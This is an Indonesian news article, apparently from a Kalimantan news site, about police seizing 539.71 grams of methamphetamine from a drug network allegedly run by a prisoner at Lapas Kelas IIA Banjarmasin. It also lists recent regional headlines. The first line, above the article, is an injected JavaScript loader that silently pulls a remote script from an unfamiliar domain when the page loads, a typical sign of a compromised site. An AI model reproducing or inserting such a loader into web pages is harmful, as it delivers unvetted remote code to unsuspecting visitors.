(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Lapas Masih Jadi ‘Sarang’ Narkoba, Buktinya Sabu 539,71 Gram Diungkap dari Balik Jeruji


BANJARMASIN, Mata rantai besar jaringan Narkoba di Kalsel sepertinya masih diatur dari balik jeruji Lembaga Pemasyarakatan, terbukti sebanyak 539,71 gram sabu dari jaringan Lembaga Permasyarakatan (Lapas) Kelas IIA Banjarmasin diamankan Dit Resnarkoba Polda Kalimantan Selatan (Kalsel).

“Ada dua tersangka yang kami tangkap, satu diantaranya narapidana warga binaan Lapas,” terang Direktur Resnarkoba Polda Kalsel Kombes Pol Wisnu Widarto, SIK diwakili Kabag Binopsnal Dit Resnarkoba Polda Kalsel AKBP Sigit Kumoro SIK.

Jaringan pengedar yang dikendalikan narapidana berinisial T (45) diungkap Tim Subbid 1 Dit Resnarkoba Polda Kalsel yang dipimpin Kompol Ugeng Sudia Permana SH selaku Kasubdit 1 Dit Resnarkoba Polda Kalsel.

Awalnya petugas menangkap tersangka lain berinisial D (35) pada hari Jum’at 21 Juni 2019 di kediaman di jalan Mahligai Komplek Marhamah, Desa Kertak Hanyar, Kecamatan Kertak Hanyar, Kabupaten Banjar. “Kami lakukan pengintaian cukup lama terhadap tersangka karena diduga kerap melakukan transaksi narkoba,” kata AKBP Sigit Kumoro.


Dari penangkapan pria yang sehari-hari bekerja sebagai sopir ini, petugas menemukan 14 paket sabu dengan berat 539,71 gram. Hasil introgasi polisi, tersangka D hanya diperintah oleh seorang narapidana untuk menyimpan barang tersebut dan menyerahkannya kepada setiap pembeli.

Dari pengakuan tersangka, AKBP Sigit Kumoro menyebut jika jaringan ini dikendalikan napi di dalam Lapas dan yang bersangkutan langsung dijemput di dalam sel penjara. AKBP Sigit Kumoro menyatakan jika seorang terpidana kasus narkoba masih bisa menjalankan bisnis haram lantaran bebas menggunakan alat komunikasi (Hp) yang jelas dilarang masuk ke Lapas.

Pengungkapan dengan barang bukti ini pun seakan menjadi kado manis dari Dit Resnarkoba Polda Kalsel pada hari ulang tahun (HUT) ke-73 Bhayangkara yang jatuh pada tanggal 1 Juli 2019.

Sebelumnya, Subbid 1 Dit Resnarkoba Polda Kalsel juga menangkap tiga pengedar diantaranya AM, AT dan RI dengan barang bukti 7 paket sabu seberat 25,59 gram pada tanggal 13 Juni 2019. Pada tanggal 17 Juni 2019, giliran Subbid 3 Dit Resnarkoba Polda Kalsel yang dipimpin AKBP Andi Aliamin Amrullah SH selaku Kasubdit 3 Dit Resnarkoba Polda Kalsel. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Bupati Kapuas Trail Adventure 3 Segera Hadir, Meriahkan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Para pecinta adventure dengan menggunakan motor trail boleh bergembira. Pasalnya, Kapuas… Read More

5 jam ago

DPRD Kapuas Rapat Paripurna Pemandangan Fraksi Terkait Pemekaran Kecamatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke… Read More

6 jam ago

Pasca PSU,  Emi Lasari: Lapang Dada, Kembali Bersatu Membangun Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Pasca gelaran Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

6 jam ago

Harapan Besar Wakil Rakyat di Momentum Hari Jadi ke-26 Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Harapan disampaikan wakil rakyat yang duduk DPRD Kota Banjarbaru dalam momen peringatan… Read More

8 jam ago

Tim Hanyar Banjarbaru Ajukan Pembatalan Hasil PSU ke MK

KANALKALIMANTAN.COM, BANJARBARU - Tak sampai tiga hari setelah Komisi Pemilihan Umum (KPU) Kalimantan Selatan (Kalsel)… Read More

8 jam ago

Rakor dan FGD Stunting, Wabup Tegaskan Komitmen Fokus Cegah Stunting di HSU

KANALKALIMANTAN.COM, AMUNTAI - Wakil Bupati (Wabup) Hulu Sungai Utara (HSU) Hero Setiawan menegaskan komitmen bersama… Read More

9 jam ago